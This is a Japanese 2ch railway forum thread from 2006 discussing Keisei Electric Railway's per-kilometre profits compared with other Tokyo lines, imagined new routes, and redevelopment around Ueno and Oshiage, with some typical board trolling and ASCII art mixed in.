東急35,715,000,000 102.1349,804,114
京急16,981,000,000 87195,183,908
相鉄8,939,000,000 35.9248,997,214
メトロ63,126,000,000 183.2344,574,236
JR東317,087,000,000 7526.842,127,730

ドローカルがあるJR東と東武がkmあたりにすると低いのは納得
小田急が低くて京王が高いのは、>>171に挙げられている原因なのか？所詮ケチ王！
西武が低かったのは意外、京急・相鉄は思ったより高かった。メトロ東急はさすが
新京成が予想以上に儲けていない・・・データ取る場所間違えたか、漏れ。
京成がやっぱり一桁低い。東武のような末端らしい末端は無いはずなのだが。

直近では旧公団線の買取。20年以上前の経営危機が大きい。配当も2年前までは大手私鉄標準の一株5円配当ではなかった。成田拡張や押上再開発があるから、京成には是非頑張ってほしい。

エクセルそのまま貼ったらすごいことになっちまった。
修正

　　　　鉄道部門利益　営業km　1kmあたり利益
京成　9,600,000,000　102.4　93,750,000
新京成　1,014,812,000　26.5　38,294,792

東武　25,765,000,000　463.3　55,611,915
西武　18,820,000,000　176.6　106,568,516
京王　18,178,000,000　84.7　214,616,293
小田急　16,891,000,000　120.5　140,174,274
東急　35,715,000,000　102.1　349,804,114
京急　16,981,000,000　87　195,183,908
相鉄　8,939,000,000　35.9　248,997,214
メトロ　63,126,000,000　183.2　344,574,236
JR束　317,087,000,000　7526.8　42,127,730

利益があるからいいけど、他大手と比べると寂しいね
津田沼らへんから新しく都心へ近道つくったらどう？

>>195
今新線敷設にどのくらい金かかるとおもってんだよ。
まして津田沼から都心なんて用地買収すら無理だろ

>>196
計画というか構想段階の首都高湾岸２号線
現在の湾岸線より海側を通る。
この道路に付帯して新線を作るしかないのかな？

今度は、京葉線と競争ですか？
つくづく、負け戦をしたがるのんね。

スカイライナー北総通るんでしょ？
もうローカル線になるしかないのか。

ローカル線ってほど落ちぶれないでしょう。

空港輸送が北総に100%シフトするのはない、というのが現状の見方。
湾岸に通すとしてどこにつなげるんだ？舞浜か？

特急木更津行です。
舞浜、ららぽーと前、マリンスタジアム、福田アリーナ、終点木更津の順に
停車いたします。

お急ぎの方は、隣の京葉線をご利用ください。

船橋から適当に１４号線の下掘って、人形町にくっつける。
東京に行くかどうかは、良いとｵﾓﾀら行く。
高砂−船橋は捨てちゃえ
八千代台やユーカリが栄えるぞ。
成田も客が来る

１４号だって？それこそ、ずっと総武と平行で客取れないじゃん。
そんなに、線形がよいとは思えないし・・・。

>>203
ﾊｹﾞﾜﾛｽwwww

京成本線版「東武久喜」どこになるのかしら・・・・

もう下らない妄想しか出なくなったな

＞＞207
無難に、津田沼じゃないの？

公式ではないと断わった上で、四季報によると成田新線開業後に大幅な改正を実施するらしい。皆さんが指摘しているように、高砂駅の発着線を増やさないと抜本的な改革は無理かと。

むかーし妄想ネタとしてだが、高砂駅4番線をあけるために
データイムの金町線は八広で折り返しさせろ
つー声もあったな。
実際やらないだろうが。

となると、どんな裏技にするのかね？
北総線は高架駅にして青戸〜高砂間で
合流とか？

>>207
質問の意図がいまいち不明瞭だが、
多分、「京成船橋」じゃないのかな？



京葉線より海沿いに新線を引いたりしたら、
北総以上の閑散赤字線を抱え込むのではないかと。
一度、実際に京葉線に乗ってから考えてみてくださいな。

船橋競馬場から京葉道路直下を西進して神田・大手町に繋げるってのはどうよ
稲荷木のあたりがやや急ｶｰﾌﾞだけどそれ以外は１３０ｋｍ/ｈ運転すれば
総武よりも大回りじゃない分勝てるかも

その独占区間って八幡〜亀戸間ぐらいでしょ。
とも、思ったけど、実際は瑞江〜亀戸間のみ、
金かけてまでやるほど、利潤をうまなそう。

とりあえず北千葉線着sy(ry

都心側はあとから客はつくでしょ
津田沼以遠への速達が目的の妄想

日暮里からなんとかして地下鉄に食いつけないものか。
上野は捨てて良し。ライナー専用ホーム。4本も留置できる！！！

浅草線の浅草から上野まで作って丸くしちゃうとか・・・。

言問通りを活用して日暮里ー根津ー本郷三丁目ー秋葉原
京阪・近鉄型分散ターミナル

秋葉まで何分劣るつもりﾃﾞﾂｶ?

始発駅、乗り換え不要、北総の利用もあるでよ

海沿い延伸可能性があるとしたら、
答申の京葉線複々線を乗っ取るしかないだろうな。
どうせJRはやらないだろうし、やったとしても千葉死者だし。
京成にやらせたほうがよっぽどいい。

船橋競馬場か船橋で分岐させて、京葉線沿いに都心まで一直線

船橋から西船橋を通って大深度を東京大手町までいけばいいかな。
皇居にかからないようにその延長線上の原宿か渋谷かに到達すればいいんじゃね？
船橋から京成渋谷（仮）まで26kmぐらいだから表定速度52kmで所要時間30分だネ！

　　＼　村上ファンドの村上世彰氏を逮捕…　／　　国策捜査！国策捜査！腐った地検！腐った地検！
　　＼＼　総研の内河健所長は不起訴…　／／
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ライブドアの堀江貴文を風説の流布と偽計取引で【逮捕起訴】
二二二二二二l　　　 　 |￣￣￣￣￣|　　 ♪ 　　　　　　　　村上ファンドの村上世彰をインサイダー容疑で【逮捕】
　| |　　♪ _________ ♪ 　 |　 　　　　ノノノハヽ　 　♪　　日歯連1億円収賄事件の橋本龍太郎と野中広務は【不起訴】
　| |　　 　|◎□◎|.　　　|　　　　　（＃｀∀´）つ─◎　 　　　　　耐震強度偽装事件の内河健所長は【不起訴】
　| |　/´￣￣￣￣/⌒ヽ.| 　　/´￣し'￣し' ＼ ///.
￣￣|　　　　　　　|　|￣￣￣|　 ､_人_ /　 彡 ◎￣￣　現在の東京地検特捜部は無能集団！国策捜査馬鹿！
　 　 |　　　　　　　|　|　 　 　 |　 _） 　◎彡.|　| 　　ﾊﾞﾝ 　　　反守旧派の目立った人物達は強引に逮捕起訴するが
　 　 |　　　　　　　|　|　　　 　|　 ´｀Ｙ´　 　.|　| 　ﾊﾞﾝ 　　　　　既得権益者達は例え証拠があっても不起訴処分！
　 　 t＿＿＿＿__t,,ﾉ　　 　　t＿＿＿＿___t,ﾉ

http://news19.2ch.net/test/read.cgi/newsplus/1149695420/

>>224
京成渋谷、
なんだか夢のような響きだ・・・。
夢なんだけど。
しかし、京成のことだから、
並木橋のあたりとかに駅作っちゃって失敗しそう。
いいところは既存の駅でもう埋まっているし。
それでＪＲの駅にくっついているのは、
代々木か原宿あたりになったりして。

さらに妄想だけど、
大江戸線の計画時に強引に割り込んで、
大江戸線は上野で終点にして、
上野御徒町−京成新宿間を京成が作るかたちなら
何とかなったかもしれない。

>>226
ま、並木橋まで行けば大成功さ。

>>173
東急はグループ会社が計500社。
何でもグループ化すればいいってもんじゃない。
因みに有利子負債は3兆円。
連結はあてにならん。

鉄道単体じゃなきゃ。

>>31に書いたけどもう一度。

上野エリアに、浅草、御徒町、アキバが凝縮し、東武、京成、ＴＸも接続してたら
凄い街になり、京成も凄い路線になってたろうな。
東の新宿といわれてたろうね。

京成も規模の割にグループ会社多すぎでしょ

>>229
なんでそうならなかったの？

私鉄は山手線の西側にくっつけば儲かりそうな気がする

>>229
果たして、そうなのか？
でかい街が一つだけだと、地盤沈下した時にすくいようがなくなって
しまうと思うんだが。むしろ、今の新宿のあり様が異常に見えてくる。
なんでもでかけりゃいいってもんじゃない。アメリカじゃあるまいに。

>>231
多分、街としては古くから存在していたからでしょうな。
池袋〜渋谷あたりが開けてきたのも戦後だと聞いたことがある。

しかし今日総武快速のダイヤが乱れていたようだが（船橋で
NEXが足止め食らってた）、こういうときにこと京成は自社を
アピールしないとダメだな。具体的には、ダイヤの乱れが少ない
ということ。もっと言えば、通勤でJRに乗っては確実な仕事が
できない（遅刻が多くなる）と無意識に思わせること。

やっぱり丸井を追い出して上野京成百貨店を再興すべきだと思う
電鉄のブランドイメージに百貨店は不可欠

>>234
ヒント：八幡の京成百貨店改装

京成百貨店はあのオバＱの目みたいなマークを何とかすべきだろ

>>233
遅れた時だけ振替で京成使えばいいだけということにならんか？
てか今日は振替受入で京急が遅れてたから京成も遅れてた

そうＪＲの振替受けるとキャパ足りなくて京成も遅れるので
イメージダウン必死なのです

京成のキャパだと乗降客増やしすぎると困ってしまう。

つまり京成は余生を惰性なんだな

んで2010年に転生か。

東武やＪＲは不採算支線があるから、伊勢崎線や東上線の黒字区間だけで
キロ当りの利益を出さないと意味なし。
東急の渋谷ー大船間と、東上の池袋ー川越間は、変わらないだろ。

194 ：名無し野電車区 ：2006/06/07(水) 21:32:31 ID:bSs/kTr+
　　　鉄道部門利益　　営業km　　1kmあたり利益
東急　35,715,000,000　102.1　　349,804,114
メトロ63,126,000,000　183.2　　344,574,236
相鉄　8,939,000,000　35.9　　　248,997,214
京王　18,178,000,000　84.7　　　214,616,293
京急　16,981,000,000　87　　　　　195,183,908
小田急　16,891,000,000　120.5　　　140,174,274
西武　18,820,000,000　176.6　　　　　106,568,516
京成　9,600,000,000　102.4　　　　　　93,750,000
東武　25,765,000,000　463.3　　　　　　55,611,915
JR束　317,087,000,000　7526.8　　　　　　42,127,730
新京成　1,014,812,000　26.5　　　　　　　　38,294,792

>>234
もう一度、上野（か秋葉原）に京成、東武、ＴＸを接続することは
不可能？ＴＸは東京駅に乗り入れるようだけど。
せめて、京成、東武で上野への集中化を計るべきだと思うが。

上野は常磐線も京成もあるし、ターミナル機能も持ってる。
なのに日暮里・舎人線を日暮里をターミナルにしないってのが
理解に苦しむ。

京成、常磐、その他のJR、日暮里・舎人線、東武浅草線の上野へのターミナル変更。
ＴＸも上野を経由。

何で東側は一駅に集中させようとせんのか。

高いから

>>229　上野を諦めて日暮里を開発しよう

日暮里をターミナルにするってのが理解にry

今となっては金がかかりすぎーる！プラス
回収の見込みもたたなーい！
つーことで。

こうなりゃ、高崎・宇都宮各線も日暮里停車。

>>249
ホームを作る場所がないわな。
しかし京成がどうせ高架にするなら上下線とも丸ごと３階に移して、
現京成の跡地を利用して常磐をズラせば、高崎・宇都宮線のホームも作れるな〜と
勝手に妄想したことはあった。今となっては遅いけど。

確かに上野はもっと発展してもいいと思うけど、
上野の地主や商店街が再開発に反対するDQNらしいからこれ以上は無理っぽい。
街自体が活気出れば自分達にとってもプラスなのに。
JRが駅の上に複合ビルを建てるって言った時も大反対してた気が・・・
でJRも結局あんな中途半端なアトレ作っちゃうし。
ま、上野が垢抜けないのは京成の力の無さも原因の一つのような気がするけどね。

第２東京タワーを上野公園か不忍池あたりに作ればよかったのにな〜とは思う。

秋葉原経由で大手町に延伸したら乗客増えるだろうな・・・

>>232
京成も一応山手線の西側にくっついてるじゃん。意味違うか・・・

そんな遠回りして千葉方面に行くやつは稀でしょう
高砂辺りまでの住人はうれしそうだが

>>250
上野が発展しない原因は、１つ1つの建物が小さいから。
上野の中心街
ttp://www.mapfan.com/index.cgi?MAP=E139.46.38.9N35.42.25.1&ZM=12
池袋の中心街
ttp://www.mapfan.com/index.cgi?MAP=E139.43.5.1N35.43.35.8&ZM=12
渋谷の中心街
ttp://www.mapfan.com/index.cgi?MAP=E139.42.7.2N35.39.26.8&ZM=12

比較するとわかるけど、1つ1つの建物の大きさが、
上野は明らかに小さい。
建物の大きさが小さいということは、１フロアの面積が小さいということ。

面積が大きければ、大きな店も入居できるし、
仕切りをつくることで、小さな店も入居できる。

しかし、上野のように1つ1つの建物が小さく、１フロアの面積が小さい場合
・大きな店は入居できない。
・エスカレータが設置できない→エレベータだけとなり、上層階へのお客の入りが悪くなる。
・１F、２Fしかお客がこないので、高層化せず、低層の店が広がる町になってしまう。
・小さな店でエレベータのアクセスだけでもお客が来る店
　→風俗、街金等　となり、町の品位が落ちる。

京成がやるべきことは、小さい土地を集めて大きな商業ビルを建てることだと思うのだけど。・・。

日暮里を成田の玄関にしたいなら、
渋谷(直線距離約10km）、新宿（同約7.5km）への大深度急行線を。

最近、スレ全体が川島化してないか

>京成がやるべきことは、小さい土地を集めて大きな商業ビルを建てることだと思うのだけど。・・。

てゆ〜か、上野の発展は諦めて、東武に協力して押上の開発に専念した方がよくね？

>>256
普段は川島氏の案を無謀な絵空事だと笑殺してる人でも、
いざ自分が京成に関してスケールの大きい構想を自由に
表現できる場を得ると、つい川島氏以上に大言壮語してしまう
ということか。

>>257
同意。上野は地元民の意識が「明治以来、東北の玄関口としての
長い歴史を誇ってきた上野」で、渋谷とか池袋みたいに
ベッドタウンから人を呼び込むことなんか
発想としてあり得ないという雰囲気らしい。

>>258
鉄ヲタの川島嫌いは「自分は鉄ヲタじゃない、常識人なんだ。」
という情けない自己嫌悪の裏返しだからね。
川島本のような妄想をチラリともしない鉄ヲタなんてたぶんいない。
>>259
松坂屋＆吉池は松坂屋が百貨店部分、吉池が巨大な地下食品売り場みたいな
分担になってるけど、ベッドタウンから出てくる主婦やワークミセスは
上野駅のそばにターミナル型百貨店ができたら飛びつきそう。

このスレでは否定的だけど、現状の個性的な商店が作りだす活気や個性は非常に魅力的だと思う。
むしろだからどこにでもあるような没個性な商業施設ができても意外に食い合わなそうだし
バランスが取れ相乗効果が出ると思う。

６連快速を上野〜千葉中央で走らせるのはどうよ、津田沼〜千葉線は各停で、押上線に特急をあてる感じに

>>261
俺はもう千葉線は新京成任せでいいと思う。
現状千原線の客はほとんど千葉で降りる
千葉線区間は千葉〜みどり台辺り等の短距離利用者が多い。
おそらく千葉線住人は乗っても船橋までだろう。

ＪＲにはもういくら京成が速達制を上げてもあそこはかなわない。
なら（津田沼）、松戸と千葉方面からＪＲと被らないルートを選ぶ方がいい

千葉線を新京成化？すると新津田沼（←→ＪＲ津田沼）で総武快速乗り換えるんだろうな・・・みんな

>>263
そんなヤツはいない。
千葉線の駅は例外なく総武線の駅がすぐそばにあるから（強いて言えば稲毛と京成稲毛がちょっと離れてる）、
津田沼で乗り換えるくらいなら最初から総武線の駅まで歩く。

新高速開業迄にできること
千葉線直通優等…過去にも存在しあぼんされたが、千原線のある現在なら一定の客がつく。
(優等は新千葉･西登戸通過でﾖｼ

>>260
うーん。地価といい、各種商業統計では格下の街扱いだからな。
実績が伴わない以上説得力がない。
>>259
実態は不法占拠者が戦後のどさくさで乗っ取った街だから再開発アレルギーがあるだけ。
ちなみに東北居住者の上野嫌いは有名。上野に力があれば埼京線が出来てもお客は減らなかったはず。

>>255
渋谷はイラネ

束の上野駅建て替え計画を潰すような異常者の集まりだから京成が何もしないのは当然。
腕力がある束ですら何も出来ないおかしなところだからな。
今大切なのは再開発の資金があるなら上野から先に線路を延ばしたほうが良い。
上野を発展させるのではなく上野を捨てることが正解。

京成の本線って押上線じゃないの？

上野は発展性がある。
再開発しだいだけれど。

やはり手古希かと

>>270
それは上野は発展性がないと言っているのに等しいな。
ま、放置でしょうな。

京成のターミナルが上野じゃなくて新宿だったら、京王みたいになっていたのだろうか。

別に京王みたいになってもいい（つうか京王見下せる立場じゃない。昼間の乗客数の多さは凄いよあっちは）

京王みたいに（利用客が一杯に）なっていたのだろうかというつもりで書き込んだのですが・・・。

上野には上野なりの、あの猥雑な感じの良さがあるんであって、
単に再開発して巨大ビルを建設すればいいというものではない。
新宿や池袋と同じようにしても、逆にそっちに人が流れるだけじゃないかと思うが。

上野←→池袋
新宿←→東京
こうなれば千葉はもっと活気づく

上野の猥雑な感じのよさはわからんでもないが、
それを求めて京成を利用している人がどれだけいるのか。
純粋に利用客を増やすためには上野のさらなる発展（再開発）は欠かせない。
葛飾区が高砂青砥あたりを劇的に再開発してくれるともっと希望が持てるんだが・・・

京成は一時期、上野誘致のポスターを出していた今はなし。効果なしと判断したのでしょうね。乗降客の多い日暮里を改良して、利便性が向上したとアピールして乗客増やしたいのかもしれません。

急行町屋通過になって影響ってないの？

元々急行が停まらなかった関屋が盛況だから問題ないと踏んだんだろう

佐倉の方に住んでて、千代田線乗り換えで通勤してる人とかには不便なんじゃ・・

町屋乗りかえ千代田線って、日暮里乗りかえ山手線（南行き）に輪をかけて
遠回りなイメージあるんではなかろうか。
たいしてこのルートを使う遠距離客はいないんだろう。

>>276
どんなに言い訳しても上野はだめという世間の評価は覆らないことにどう反論されますか?

言ってる意味が分かんない。

てゆうか京成上野は地下駅だから、京成が上野から出てることすら知らない人が多いんじゃない？

>>284
そもそも上野が駄目なんじゃなくて、
ただ、上野に用が無いだけだっつ〜の。

千葉の発展は地震であぼーんしたあとの復興にかかってる

京成に上野をどうこうしようという意思はないんだから、どうでもいいんだよ。
しょうがないだろ、お山潰して駅ビル建てろと言うわけにもいかないんだから。
道路向こうの旧本社側は細長すぎて、雑居ビル以外建てられそうもないし。
せいぜいがＪＲの向かいに入口の向きを変えるくらいしかできないさ。
それもあんまりでかい効果があるとも思えないけどな…真正面ってわけでもないし。

京成は上野のことより、日暮里と押上のことを考えていればいいさ。
押上なんて、これから化けるぞ？　タワーに周りの商業施設。
事業は完全に東武主導だが、逆に言えば、東武が勝手に開発してくれるってことだ。
タワーと再開発ができたらここぞとばかりに外国人に観光アピールしまくればいい。
成田に着いた外国人御一行様を、そのままごっそり世界一のタワーにご案内だ。
東武もそれを期待してるに決まってんだから、感謝してくれるし、協力もしてくれる。
だから、タワー一帯の整備ができたら、スカイライナーは押上にも行かなきゃダメだ。
東京接着までは、別に浅草線まで乗入れる必要はないけどな。
高砂で10連を４連＋６連に分割できればいいんだが…青砥ではできないからな。

新高速の免許を取ったときと今の大きな違いは、タワーができるという前提の有無だ。

押上・日暮里が化けると思うのが川島門下生の発想なんだよな

なあに、かえって開発力がつく

ナンボ押上といっても所詮押上。
JRがこないとダメダメ

>>292
六本木やお台場にＪＲがあるかって話にもなるがwww

山手線の内側民は、JRなんてダサい
地下鉄ﾏﾝｾｰ。だよ

京成押上線と東武伊勢崎線支線は延伸して錦糸町をターミナルにするのが良い。
昭和初期は上野や浅草とは違って錦糸町には繁華街らしいものは何もなかったが、
阪急の小林一三が将来東京東部の中心となることを見越して江東楽天地（現在の
東京楽天地の前身）を作った。私鉄経営者だったが、関東における国鉄の重要性を
よく認識していた。もし小林一三が京成や東武の経営者だったら、錦糸町を自社路線の
ターミナルにしていただろう。

果たして小林一三の読み通りに、現在では錦糸町は繁華街となり、東の副都心にも
指定され、再開発も進む成長株。押上から錦糸町は直線距離でわずか1.5kmだし、
旧東京市境界（横十間川）からわずか400m内側にあるだけだから、他社との公平性の
面で問題はないと思われる。四ツ目通りの半蔵門線の下を通すか、それが無理なら
少し遠回りになるが、浅草通り→横十間川→京葉道路の地下を通せば良い。

どこが中心街になるかは一企業の力では決められないんだよ・・・

京成から川島的妄想を除いたら夢も希望もない
現実しか残らんからな
妄想大いに結構じゃないのｗ

そろそろ？

余裕の
>300get!!!

低脳ニートな愚民共よ、喪舞いら部屋に籠もって泉ピン子ﾀｿでヲナニーばっかりしてんなよ。それではごきげんよう。

余裕の
>300get!!!

低脳ニートな愚民共よ、喪舞いら部屋に籠もって泉ピン子ﾀｿでヲナニーばっかりしてんなよ。それではごきげんよう。

あほか。

　　／￣￣￣｀⌒＼
　/　　　　　　　　　　ヽ
　|　　_,＿＿＿人_ 　 .|
　ヽ|´ ┏━　━┓｀i /　
　　|　　《･》　《･》　 | 　　
　(6|　　　,(､_,)､　　|6) 　
　　ヽ　　ﾄｪｪｪｲ　 /なんで俺様が捕まんなきゃなんねーんだよ！！ 　　
　　　ヽ　ヽニｿ ／俺よりも糞はしのえみをの方を捕まえろよ！！　　　
　　　　 ｀ー一'

いやあ新東京タワーの力はかなり大きいよ。新押上マンセー！

やっぱ解雇直前の休職中の身の上は…

京成が押上から一駅錦糸町に伸ばしたら・・・
ﾀﾜｰ客は錦糸町から京成を使ってくれるかも（京成１３０円・ﾄﾄﾛ１６０円）

費用対効果

押上タワーは完成した時には世界一ではなくなってるらしいね。
タワーどころかそれよりも高いビルがどっかにできるみたいよ。

そのまま東京へ延ばそうか

小林一三は企業経営のみならず、戦前の政治史・外交史・芸能史にも頻出する。
調べれば調べるほど優秀な人物だし、なんと多才で楽しい人物かと思う。
阪急の社史を読むと、阪急って戦前にこんなすごいことやってたのか!?と驚く。
昭和初期の梅田の豪華さには、戦前の日本は華やかで幸福な時代だったのかと錯覚しそうになる。
宝塚少女歌劇、欧風ドーム式の巨大ターミナル、そのターミナルに併設された百貨店…
なんと華やかで明るい歴史に彩られたターミナルだろう。
上野の歴史とは対照的。
大不況下、東北の貧農が人買いに売った娘たちが上野に下車してた時代の話…。
都市部と農村部の格差に義憤を覚えた若い兵隊が5・15事件を起こしたのも、わかる気がする。

京成は、曲線改良などを地道にやっていかなくては。速達性を重視しなくては総武線どころか、車に負ける。80年代の経営不振が痛い。経営再建に追われていたからね。

>>293
六本木やお台場もそんなに大した所じゃないしな。
六本木なんてまっとうな遊び場は全然ないし、単なる成金の集まった下品な街。
お台場は遊べる場所がそれなりにあるからまだマシなんだけど、あくまでも東京
周辺のスポットに過ぎない。

>>311
だが京成沿線には、そんな大した事ない所すら無いわけで。

下品な街以下の京成沿線ｗ

いくら六本木を下品だと蔑んだところで、六本木より集客性が高い街が
ないことには…
佐倉や成田が歴史や文化の高い町だとしても、それが集客に結びつかない
ようでは京成の利用者増加には結びつかない。
そういう千葉国人のつまらんプライドが京成沿線を住みたくない沿線
ランキングの上位にしているような気がする。

JRの有無やカッコイイダサイの話はあまり意味がない論点。
ターミナル型繁華街は複数路線の運行の要所であるという
ターミナル機能によって自然に発展する。
例えば京成の場合東武と違い日暮里で山手線にくっついてるけど
日暮里は地下鉄や他の私鉄がなく京成単体でも途中駅だし
押上口もあることでターミナル機能が生まれにくい。

押上発展の可能性があるか、という話になるけど
京成東武両者の運行形態が共に地下鉄乗り入れで押上発着は少なく
実質４つではなく２つの路線の交差でしかないから
ターミナル機能は生まれそうにない。

京成の場合頼るべきターミナルがないからドカドカターミナル需要を、という
発想ではなく、いかにこまめに客を拾うかで勝負するしかないのでは。
310の言うように曲線改良など地味な施策をするしかない。
ただ間もなく空港輸送で勝負かけられるようになるから当分は放置だろうけど。

ターミナル云々ではなくて、単にタワー建設に向けて何もしないなんてバカだという話。
あんなもんが建てば日本国内外から確実に人は来るのだから、それを集めない手があるかと。
千葉県民と海外に大々的に宣伝しろ、「タワーへは京成スカイライナー。間違いない」。
タワーの海外宣伝は、東武とタッグを組んでやれ。日本に旅行しようという人に、
「成田に着いたらまずはスカイライナーでタワーへ！（それから浅草寺）」を定番コースにさせるんだ。

どうせだめだって何もしないのは、馬鹿のすることだ。
タワーにＪＲは接続しない――チャンスやないか。

はしのが入るたびに話が折れるな。

沿線になにか新しいものが出来たら便乗するのは当たり前だな。

タワーによる需要を、そんなに無邪気に期待してよいのだろうか？
沿線にビッグプロジェクトが計画されて、気分が高揚するのはわかるけど。
地方の人々が地元に新幹線の駅が作られると聞いたとたん、
現実離れした過剰な期待を抱いてしまうのと似てる。

で、京成はタワーに無邪気に期待してるの？
何もしてないの？どっち？

>>318
一点買いするわけじゃないなら大丈夫だよ。

http://www.mainichi-msn.co.jp/keizai/kigyou/archive/news/2006/05/20/20060520ddm010020142000c.html
決算ミニリポート：京成電鉄　第２東京タワー「沿線にプラス」
　◆京成電鉄
　東京都墨田区の本社の近くに第２東京タワーが建設されることが３月末に
決まった。井口瑛常務は「新タワーと商業施設が１１年度に完成すれば
年間３００万人の観光客が見込まれており、京成の沿線利用やバス利用などに
大きなプラス効果があると考えている」と期待感をにじませた。
　今後は東武鉄道が中心になって建設・運営に携わる新会社を設立する
予定だが、井口常務は「要請があれば当社も出資を検討したい」と前向きな
姿勢を示した。

明るい話題かも知れないが、再開発の計画よっては京成本社の立て替えになるかも。費用負担が重くのしかかる可能性があるよ。

費用負担が重くのしかかろうとも、あの本社ビルはマジでどうにかした方がいい

地下鉄直通前の押上駅ってどんな風だったんだろう？

>>322
荒らしなんだろうが、本社の要員を考えると費用負担が重くのしかかるような大きさのビルは必要ない。

年間300万人ということは往復で一日平均1.7万人
そこに勤める人とか入れて2万人台
そのうち京成を使うのは…
まあそんなもんかな

>>313
ヒルズバブル最盛期の頃ならともかく、今の六本木に集客力なんかないだろ。
そんな新しいものを今更造ったところで、２年もすれば飽きられて、元の木阿弥。

322だが荒らすつもりはないが、押上線立体化、成田新線、日暮里駅改良と投資が続く。有利子負債の金利上昇のリスクを考えなくては。その上で本社立替負担が重いのではと思った。言葉が足りないならすいません。

>>312
いらないよ、そんな犯罪者の巣窟の街は。

費用負担を軽減するには津田沼〜ちはら台を新京成に売却。まああんなところ欲しがらないかな・・

押上線立体化や日暮里改良しても客は増えないんだよな
負債だけが増えていく

羽田空港、成田空港をうまく利用するしかない。
他の私鉄にはこんな利点はないのだよ。

つうか押上にタワーができても京成の乗客はマイナスにはならんけど、
思ったよりかは増えない気がする。沿線以外からのタワー客は京成使わないでしょ。
押上までの移動は半蔵門線（錦糸町乗換え含む）が一番メジャーになると思う。
恩恵を受けるのは半蔵門線＞浅草線＞東武線＞京成線の順だろうなぁ。

てゆうか快特がなんで京成線内入ると快速扱いになるんだ？

>>333
いや、受ける恩恵の多少の順番はたぶんそれで合っていると思うけど、
>>315の言うとおり、成田からそのまま押上に海外旅行客を連れて来れれば、
京成の受ける恩恵は「僅か」というわけではないと思うぞ。

そのためには、ライナーかせめて新高速の特急を押上に送る必要があるが。

京成を生かすには
曳舟、八広、四つ木、立石、小岩、東中山、船橋競馬場を捨てることだ。

>>336
おいバカ、それ全部捨てちゃいけない駅だw

んなもんお前、八千代台-こてはし団地-大日-四街道線に決まってんべ

>>337
どうもなあ、高砂ー青砥ー押上とすんなり行ってほしいものだが・・

>>339
立石はすごいぞ一日平均利用者数は3万5000人だ！京成内では特級の駅だぞ。捨ててはならん

>>335
東京観光の一部としてタワーは訪れたとしても、
タワー目当てで日本に来る人間はそれほどいないと思う。世界一じゃないんだし。
そういう人がいたとしても空港から直接タワーに向かうかね？
普通は自分が滞在基地とするホテルに向かうと思うんだが。
それより千葉県民のタワー見物客を京成に取り込んだ方が大きいと思う。

浅草にスカイライナー停めたら外国人が乗るんじゃね？
欧米人が東京に着いて真っ先に行くのは浅草だよ

>>318
たいした額出資するわけじゃないし、
成功すれば京成は儲かる、失敗してもリスクなし。
かなりウマイ話だと思う。

押上の再開発で上手くイメージが向上したら、
今度は、イメージが向上したのをつかって、
立石・青砥・高砂の再開発に取り組めばいいかと思う。

立石・青砥：
青砥駅南側〜立石駅東側を流れる中川を埋め立てて、
そこに公園・商業施設・住宅をつくって、開発を行う。
高砂：
検車区・車庫・自動車駐車場を移転して、
跡地にららぽーと高砂を建設

いっそのこといろいろな路線と直通して運転系統とか分岐を増やせば乗客の選択しも増える。
だが京成は標準軌だから直通もままならない。
金町線を町屋から連絡線造って都電荒川線に乗り入れ
金町〜早稲田・池袋間の直通LRTに。
人形町から丸の内線大手町までの連絡線を建設(付随して銀座〜(都営)新橋間も)
丸の内線を区間運転で分断、大手町・東京・銀座経由の羽田行と新宿行を運転(四ツ谷待避駅化で新宿まで急行運転)。
上野から上野御徒町延伸して大江戸線で都庁前直通。

これらによって京成はLRV、第三軌条、リニア、架線式の東横顔負け状態に！

中川埋め立てとか無理言うなｗ
いまは暗渠ですら作れないんだぞ
東急百貨店東横店が立て替え出来ない理由も、下に川が流れてるからだ

>>344
わざわざ狭軌から標準軌に変えたのに・・なんてことだorz

昨日新宿から町田まで小田急乗ってきた。

�@結構新型車両の3000が普及してた。逆に千代田車両はボロすぎだな。
�A複々線はすごいな。駅は綺麗だし快急は思ったより飛ばすな。
帰りは各駅乗ってきたが優等待ち合わせが短い為ｲﾗｲﾗはしなかった。
�B評判どおり？ｳﾃﾝｼの声がでかい。あと車掌とのブザーが長い。声とブザーで
一般客としては先頭車両はうるさいかもしれない
�C車掌の安全確認がすごい。ドアが閉まってからの確認が半端なく長い。
新しい直線の駅でも長いな。京成のドアが閉まってる最中のﾌﾟｯﾌﾟｰとは大違い

京成も気合いれていこー

>>344はどうしようもない厨房だなwww

>>347
京成ですが安全確認なんてするつもりありませんが何か？

こないだ京王乗ったけど「仙川ってこの溝の中にある薄暗い駅？
乗客が八千代台と一緒・・？？」
と一瞬思ったが回りの住宅密集振りを考えればそれくらい
あるかなと思った。

仙川は長らく各停オンリー駅だったけどその頃から乗客は多かったよ

八千代台と一緒どころか八千代台より1万人以上多いわけだが

>>351
今は駅の上にビルが建ってるから中途半端に地下駅みたいになってるけど、今の駅舎になる前はもっと小じんまりとした駅舎で単純な島ホームだからあんなに薄暗くはなかったよ。＞仙川
あの頃は駅前広場もタクシーしか入れない程度の広さで、駅の裏側なんか竹藪だったしw
それでも隣のつつじヶ丘よりは乗降多かったけど。

ららぽーと高砂て
道路環境を分かって言ってるのか?

なんか京成って地方私鉄化してるね。

北総、新京成を統合して大京成時代にすればよい。
売り上げは連結で計算して各線売り上げは誤魔化す。
借金は千葉県の協力を得て無利子にしてもらう。

>>351
仙川と同時に快速停車になった八幡山はどうなんだ

仙川は学生利用も多いしなぁ。昔はホームが島式１面だったから狭かったよ。
京王は沿線に大学が多くて朝の逆方向や昼間もけっこう乗ってくれるよね。
大学の郊外進出ラッシュの時に京成も積極的に沿線に誘致してれば良かったのに。

しかし、よその形成スレでも京王の話をする荒らしがいるようだな。

ココハイツカラケイオウスレニ？

特急　３本/h　羽田空港ー蒲田ー品川各駅押上ー青砥高砂ー八幡ー船橋ー津田沼ーユーカリが丘うすい佐倉ー成田第二成空
急行　３本/h　上野ー青砥高砂ー八幡ー船橋ー津田沼各駅成田
普通　３本/h　上野各駅うすい
普通　３本/h　上野各駅津田沼
スカイライナー　３本/h　上野ー第二成空

ユーカリが丘、うすい周辺の人口増、利用者増を狙って特急を停車させる。

座りたいから乗客増やさないでいいよ
どうせ八千代方面行くのは京成だけだし、東葉は運賃高いからシフトするヤツはそんないないし。
ほっといても京成の利用者が激減することはない

>>354
高砂は道路がなかったんだった。それはまずいな。
それなら中川埋め立てて、青砥駅南側にららぽーと青砥だな。
こっちなら環7のそばだから道路環境的にも問題なし。

>>345
無理かな。
東横店の下に川が通っているのはしってるけど。
立て替えできないのは銀座線やら山手線やらが中を通っていて、
